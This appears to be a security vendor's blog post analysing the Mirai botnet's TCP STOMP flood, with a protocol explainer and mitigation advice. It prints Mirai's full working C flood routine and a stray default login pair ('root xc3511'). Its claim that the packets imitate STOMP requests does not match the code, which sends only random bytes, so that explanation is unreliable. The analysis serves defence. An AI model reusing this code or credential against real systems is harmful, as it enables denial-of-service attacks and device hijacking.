WP How Mirai Uses STOMP Protocol to Launch DDoS Floods

Archive

How Mirai Uses STOMP Protocol to Launch DDoS Attacks

How Mirai Uses STOMP Protocol to Launch DDoS Attacks

In our analysis of Mirai, the malware that recently brought down KrebsOnSecurity and the Dyn DNS service, we described different attack vectors its botnet is programmed to use. Of these, STOMP (Simple Text Oriented Messaging Protocol) floods stood out, largely because this protocol isn’t often used in DDoS assaults.

We decided we should further explain how Mirai uses floods of junk STOMP packets to bring down targeted websites.

What is STOMP

STOMP is a simple application layer, text-based protocol. It’s an alternative to other open messaging protocols, such as AMQP (Advanced Message Queuing Protocol).

STOMP lets clients communicate with other message brokers—program modules that translate communications between different protocols. It’s a way for applications to communicate with software developed using different programming languages.

Similar to HTTP, STOMP works over TCP using the following commands:

· CONNECT · COMMIT
· SEND · ABORT
· SUBSCRIBE · ACK
· UNSUBSCRIBE · NACK
· BEGIN · DISCONNECT

A typical STOMP request is a “frame” consisting of a number of lines. The first line contains a command, followed by headers in the form <key>: <value> (one per line). This is followed by body content ending in a null character.

Servers use a similar format of headers and body content to respond to the client through a MESSAGE, RECEIPT or ERROR frame.

How Mirai Launches TCP STOMP Attack

Now let’s get back to Mirai. To launch DDoS traffic, it uses a so-called TCP STOMP flood—a variation of the more familiar ACK flood attack.

root     xc3511
void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, rfd;
    struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
    char **pkts = calloc(targs_len, sizeof (char *));
    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);

    // Set up receive socket
    if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
#ifdef DEBUG
        printf("Could not open raw socket!\n");
#endif
        return;
    }
    i = 1;
    if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
    {
#ifdef DEBUG
        printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
        close(rfd);
        return;
    }

    // Retrieve all ACK/SEQ numbers
    for (i = 0; i < targs_len; i++)
    {
        int fd;
        struct sockaddr_in addr, recv_addr;
        socklen_t recv_addr_len;
        char pktbuf[256];
        time_t start_recv;

        stomp_setup_nums:

        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
#ifdef DEBUG
            printf("Failed to create socket!\n");
#endif
            continue;
        }

        // Set it in nonblocking mode
        fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
 
        // Set up address to connect to
        addr.sin_family = AF_INET;
        if (targs[i].netmask < 32)
            addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
        else
            addr.sin_addr.s_addr = targs[i].addr;
        if (dport == 0xffff)
            addr.sin_port = rand_next() & 0xffff;
        else
            addr.sin_port = htons(dport);

        // Actually connect, nonblocking
        connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
        start_recv = time(NULL);

        // Get info
        while (TRUE)
        {
            int ret;

            recv_addr_len = sizeof (struct sockaddr_in);
            ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
            if (ret == -1)
            {
#ifdef DEBUG
                printf("Could not listen on raw socket!\n");
#endif
                return;
            }
            if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
            {
                struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));

                if (tcph->source == addr.sin_port)
                {
                    if (tcph->syn && tcph->ack)
                    {
                        struct iphdr *iph;
                        struct tcphdr *tcph;
                        char *payload;

                        stomp_data[i].addr = addr.sin_addr.s_addr;
                        stomp_data[i].seq = ntohl(tcph->seq);
                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
                        stomp_data[i].sport = tcph->dest;
                        stomp_data[i].dport = addr.sin_port;
#ifdef DEBUG
                        printf("ACK Stomp got SYN+ACK!\n");
#endif
                        // Set up the packet
                        pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph = (struct iphdr *)pkts[i];
                        tcph = (struct tcphdr *)(iph + 1);
                        payload = (char *)(tcph + 1);

                        iph->version = 4;
                        iph->ihl = 5;
                        iph->tos = ip_tos;
                        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph->id = htons(ip_ident);
                        iph->ttl = ip_ttl;
                        if (dont_frag)
                            iph->frag_off = htons(1 << 14);
                        iph->protocol = IPPROTO_TCP;
                        iph->saddr = LOCAL_ADDR;
                        iph->daddr = stomp_data[i].addr;

                        tcph->source = stomp_data[i].sport;
                        tcph->dest = stomp_data[i].dport;
                        tcph->seq = stomp_data[i].ack_seq;
                        tcph->ack_seq = stomp_data[i].seq;
                        tcph->doff = 8;
                        tcph->fin = TRUE;
                        tcph->ack = TRUE;
                        tcph->window = rand_next() & 0xffff;
                        tcph->urg = urg_fl;
                        tcph->ack = ack_fl;
                        tcph->psh = psh_fl;
                        tcph->rst = rst_fl;
                        tcph->syn = syn_fl;
                        tcph->fin = fin_fl;

                        rand_str(payload, data_len);
                        break;
                    }
                    else if (tcph->fin || tcph->rst)
                    {
                        close(fd);
                        goto stomp_setup_nums;
                    }
                }
            }

            if (time(NULL) - start_recv > 10)
            {
#ifdef DEBUG
                printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
#endif
                close(fd);
                goto stomp_setup_nums;
            }
        }
    }

    // Start spewing out traffic
    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            char *pkt = pkts[i];
            struct iphdr *iph = (struct iphdr *)pkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            char *data = (char *)(tcph + 1);

            if (ip_ident == 0xffff)
                iph->id = rand_next() & 0xffff;

            if (data_rand)
                rand_str(data, data_len);

            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->seq = htons(stomp_data[i].seq++);
            tcph->ack_seq = htons(stomp_data[i].ack_seq);
            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);

            targs[i].sock_addr.sin_port = tcph->dest;
            sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
        }
#ifdef DEBUG
            break;
            if (errno != 0)
                printf("errno = %d\n", errno);
#endif
    }
}
Mirai’s STOMP attack script

The process can be broken down into the following stages:

  • A botnet device uses STOMP to open an authenticated TCP handshake with a targeted application.
  • Once authenticated, junk data disguised as a STOMP TCP request is sent to the target.
  • The flood of fake STOMP requests leads to network saturation.
  • If the target is programmed to parse STOMP requests, the attack may also exhaust server resources. Even if the system drops the junk packets, resources are still used to determine if the message is corrupted.

Interestingly, the recent attacks shared some similarities with the TCP POST flood we warned about several months ago. Both are attempts at targeting an architectural soft spot in hybrid mitigation deployments.

In these setups, network layer attacks are filtered off-premise, while application layer assaults are mitigated on-premise. This creates a bottleneck that application layer instances can exploit to clog network pipes (explained in more detail here).

Each STOMP attack request is set to a default 768 bytes in Mirai’s source code. With a botnet containing more than 100K bots, it’s not difficult to achieve a high rate of attack in which an enterprise grade network having a 5–10Gbps burst uplink easily gets saturated.

Meanwhile, an attack using fewer bots is capable of taking down a smaller network, especially since the default request size can be easily modified to increase output.

Mitigating STOMP DDoS Attacks

Successfully mitigating a TCP STOMP attack is a matter of using a solution that is able to:

  • Identify malicious requests
  • Filter them out before they’re able to travel through your network

Identifying requests is typically a simple task. Most applications don’t expect to receive STOMP requests, meaning their mitigation providers can drop all junk traffic indiscriminately. Even when this isn’t the case, the predefined size of STOMP payloads makes them easy to spot and to weed out.

However, the real question that needs to be considered is, “Where exactly are such requests dropped?”

A hardware solution that terminates TCP on-prem allows malicious STOMP requests to travel through the network pipe. This may cause your network to struggle and even become unavailable—exactly what perpetrators are hoping for.

A cloud-based service, on the other hand, terminates TCP connections on edge. This means any such attack is blocked outside of your network and doesn’t saturate your uplink.

Currently, STOMP assaults are rare. But as the use of Mirai malware becomes increasingly more common, it’s likely we’ll see more of them in the near future.Their existence highlights the importance of off-prem filtering.